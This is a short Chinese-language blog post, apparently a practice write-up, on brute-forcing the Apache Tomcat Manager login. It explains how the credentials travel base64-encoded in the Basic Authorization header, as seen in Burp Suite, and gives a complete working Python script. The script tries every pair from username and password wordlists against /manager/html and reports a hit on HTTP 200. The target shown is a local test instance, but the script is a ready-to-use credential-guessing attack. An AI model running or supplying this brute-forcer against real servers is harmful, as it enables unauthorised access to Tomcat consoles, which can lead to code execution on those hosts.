LOADING...

dadada~

loading

Python爆破tomcat


一个并不美好的开头

  • 服务搭了快一辈子,最后不知道怎么回事自己莫名其妙就搭上了,明明点那个bat文件疯狂闪退的
  • 和bp撞了端口又去改掉了端口,然后设置了一下密码
  • 终于终于终于,可以开始进入正题了

原理

  • bp抓包可以看到,输入的用户名和密码被组合成:[用户名]:[密码]的形式然后被base64加密了
  • 丢到Intruder里,随便写几个爆破一下,可以看到返回的状态码是不一样的,这就好办多啦
  • 这里还要注意一个是,数据是在请求头里传输的:Authorization: Basic MTExMToxMTExMQ==

思路

  • 首先处理请求头,把usernamepassword通过:拼接后进行base64编码
  • 还要记得和Basic[空格]拼接,惨痛的教训
  • 然后定义一个函数发送一个get请求,并传输构造的请求头,获取返回的状态码
  • 循环逐行读入usernamepassword,判断返回的状态码是否为200
  • 这里还要注意返回的状态码是int型,不要和'200'去比较,不然这辈子都跑不出来,惨痛的教训+1+1+1
  • 总之这个可比爆破phpmyadmin简单哆啦

代码

import requests
import base64

url = 'http://127.0.0.1:9999/manager/html'


def set_header(username, password):
    t = username + ':' + password
    authorization = 'Basic ' + str(base64.b64encode(t.encode('utf-8')), 'utf-8')
    # print(authorization)
    h = {'Authorization': authorization}
    return h


def get_status_code(h):
    r = requests.get(url=url, headers=h)
    return r.status_code


def start_attacking():
    try:
        with open('user.txt', 'r+') as u:
            for i in u:
                with open('password.txt', 'r+') as p:
                    for j in p:
                        user = i.strip()
                        password = j.strip()
                        h = set_header(user, password)
                        r = get_status_code(h)
                        if r == 200:
                            print('Success! username: ' + user + ' | password: ' + password)
                            return 1
                        else:
                            pass
    except Exception as e:
        print(e.args)
        return -1
    return 0


if __name__ == "__main__":
    rs = start_attacking()
    if rs == 0:
        print('Fail! No matching user and password were found in the files.')
    else:
        pass